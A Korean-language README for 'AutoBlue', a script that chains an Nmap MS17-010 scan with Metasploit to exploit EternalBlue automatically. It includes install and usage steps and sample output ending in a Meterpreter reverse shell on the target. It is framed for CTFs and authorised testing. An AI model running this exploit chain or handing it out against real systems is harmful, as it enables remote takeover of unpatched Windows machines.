atithkhawas/autoblueAutoBlue - 윤리적 해킹, 침투 테스트 및 CTF 챌린지를 위해 Nmap과 Metasploit을 활용하는 자동화된 EternalBlue (CVE-2017-0144 / MS17-010) 익스플로잇 도구. 오직 승인된 환경 및 교육 목적으로만 사용하세요!
AUTOBLUE는 Windows 시스템에서 **EternalBlue 취약점(CVE-2017-0144)**을 익스플로잇하기 위해 설계된 자동화 도구입니다. 이 도구는 Nmap의 취약점 스캐닝과 Metasploit의 msfconsole을 활용하여 대상의 취약한 시스템을 자동으로 식별하고, EternalBlue 익스플로잇을 실행하여 원격 접근 권한을 획득합니다.
이 도구는 주로 CTF(Capture The Flag) 챌린지, 침투 테스트, 또는 실습 환경과 같이 통제되고 승인된 환경에서 작업하는 보안 전문가, 침투 테스터, 윤리적 해커를 위해 설계되었습니다. AUTOBLUE는 사용자가 대상 IP 주소만 입력하면 최소한의 수동 개입으로 EternalBlue 취약점을 익스플로잇할 수 있도록 지원합니다.
기능
자동화된 취약점 스캐닝: Nmap을 사용하여 대상 시스템에서 EternalBlue 취약점(CVE-2017-0144)을 스캔합니다.
원활한 익스플로잇: Metasploit의 msfconsole을 활용하여 EternalBlue 익스플로잇을 자동으로 실행합니다.
간편한 설정: 대상 IP 주소와 Nmap 및 Metasploit이 설치된 작업 환경만 있으면 됩니다.
결과 보고: 익스플로잇 시도의 성공 또는 실패 여부를 출력합니다.
목차
사전 요구사항
설치
사용법
작동 원리
보안 고려사항
기여
라이선스
감사의 말
면책 조항
사전 요구사항:
AUTOBLUE를 사용하기 전에 다음 도구들이 시스템에 설치되어 있는지 확인하십시오:
Nmap: 취약한 시스템을 탐지하는 네트워크 스캐닝 도구.
Metasploit Framework: EternalBlue 익스플로잇을 포함한 침투 테스트 플랫폼.
Nmap 설치:
코드 복사
sudo apt update
그리고
sudo apt install nmap
Windows 또는 macOS에서는 공식 웹사이트에서 Nmap을 다운로드하십시오.
Metasploit 설치:
Linux(Debian 기반)에서:
코드 복사
sudo apt update
그리고
sudo apt install metasploit-framework
Windows 또는 macOS에서는 공식 웹사이트에서 Metasploit을 다운로드하십시오.
설치:
AUTOBLUE를 설치하려면 다음 단계를 따르십시오:
저장소 복제:
git clone https://github.com/AtithKhawas/autoblue.git
그리고
cd autoblue
Nmap과 Metasploit이 사전 요구사항으로 올바르게 설치되었는지 확인하십시오.
스크립트를 실행 가능하게 설정:
chmod +x autoblue.sh
사용법:
AUTOBLUE는 EternalBlue 취약점의 스캐닝 및 익스플로잇을 자동화하도록 설계되었습니다. 사용 방법은 다음과 같습니다:
AUTOBLUE를 사용하려면 터미널에서 다음 명령을 실행하십시오:
코드 복사
./autoblue.sh
출력:
┌──(root㉿kali)-[/home/Elliot]
└─# ./autoblue.sh
============================================
********************************************
AutoBlue - EternalBlue Exploit Automation
********************************************
********************************************
------------------------Made by ATITH KHAWAS
============================================
Enter Target IP Address:
대상 IP 주소와 사용자 IP를 입력하라는 메시지가 나타납니다.
예시
Enter Target IP Address: Target<IP Address>
Enter Your IP Address: Your <IP Address>
도구를 실행하면 Nmap 스캔이 시작됩니다:
Output-1
Target IP Address: ***.***.**.**
[+] Scanning Target for MS17-010 Vulnerability...
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 12:41 EST
Nmap scan report for ***.***.**.**
Host is up (0.19s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds
[+] Target is VULNERABLE to EternalBlue!
여기서부터 실제 작업이 시작되며, 시간이 많이 소요되는 과정을 크게 줄여줍니다. 대상이 취약한 경우 자동으로 Msfconsole을 실행하고 RHOSTS, PAYLOAD, LHOST, LPORT를 설정하며 기본 포트는 4444입니다.
Output-2
[+] Launching Metasploit...
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
RHOSTS => ***.***.**.**
PAYLOAD => windows/x64/meterpreter/reverse_tcp
LHOST => ***.***.**.**
LPORT => 4444
[*] Started reverse TCP handler on ***.***.**.**:4444
그리고 대상의 Meterpreter 셸을 제공합니다.
Output-3
[+] ***.***.**.**:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] ***.***.**.**:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] ***.***.**.**:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > pwd
C:\Windows\system32
작동 원리:
Nmap 스크립트 스캔: 도구는 먼저 **Nmap 스크립트 스캔(--script smb-vuln-ms17-010)**을 사용하여 대상 시스템이 EternalBlue 익스플로잇에 취약한지 탐지합니다. 포트 445가 열려 있는지 확인하고 SMB 취약점을 식별합니다.
Metasploit 익스플로잇: 대상 시스템이 취약한 것으로 확인되면 AUTOBLUE는 Metasploit의 msfconsole을 사용하여 EternalBlue 익스플로잇을 실행합니다. 스크립트는 필요한 페이로드를 구성하고 전송하여 취약점을 익스플로잇합니다.
리버스 셸: 익스플로잇이 성공하면 리버스 셸이 열려 피해 시스템에서 명령줄 인터페이스를 제공합니다.
피드백: 도구는 프로세스 전반에 걸쳐 피드백을 제공하며, 대상이 성공적으로 익스플로잇되었는지 여부와 관련 정보(예: 리버스 셸의 IP 주소)를 출력합니다.
보안 고려사항:
법적 사용: 이 도구는 승인된 환경에서만 사용해야 합니다. 대상 시스템을 테스트할 명시적 허가를 받았으며, 해당 행위가 관할 지역에서 불법이 아닌지 확인하십시오.
사용자 입력: 도구에 신뢰할 수 있는 IP만 입력하여 오용을 방지하십시오. 신뢰할 수 없는 시스템에서 이 도구를 실행하면 보안 사고가 발생할 수 있습니다.
페이로드 보안: 이 도구에서 사용되는 리버스 셸 페이로드는 본질적으로 위험합니다. 공격 시스템이나 리스너를 신뢰할 수 없는 네트워크에 노출하지 마십시오.
종속성 업데이트 유지: Nmap과 Metasploit을 정기적으로 업데이트하여 알려진 보안 취약점을 완화하십시오.
기여:
AUTOBLUE 프로젝트에 기여하는 것을 환영합니다. 제안, 개선 사항, 버그 수정 사항이 있으면 저장소를 포크하고 풀 리퀘스트를 생성해 주십시오.
라이선스:
이 도구는 오픈 소스이며 MIT 라이선스에 따라 배포됩니다. 소프트웨어를 자유롭게 사용, 수정, 배포할 수 있습니다. 단, 소프트웨어의 모든 사본이나 상당 부분에 이 고지 사항을 포함해야 합니다.
감사의 말:
Nmap: 필수 취약점 스캐닝 기능을 제공해 주셔서 감사합니다.
Metasploit: EternalBlue 취약점 익스플로잇 프레임워크를 제공해 주셔서 감사합니다.
보안 연구원들: EternalBlue 취약점을 발견하고 공개적으로 공개하여 전 세계 시스템 보안에 기여해 주셔서 감사합니다.
면책 조항:
AUTOBLUE는 교육 및 윤리적 목적으로만 사용하도록 설계된 도구입니다. 저자는 이 도구를 사용하여 발생하는 불법 행위에 대해 책임을 지지 않습니다. 시스템에 대한 침투 테스트를 수행할 명시적 허가가 있는지 확인하는 것은 사용자의 책임입니다.
이 도구는 본인의 책임 하에 사용하십시오. 항상 안전하고 합법적인 환경에서 침투 테스트 활동을 수행하십시오.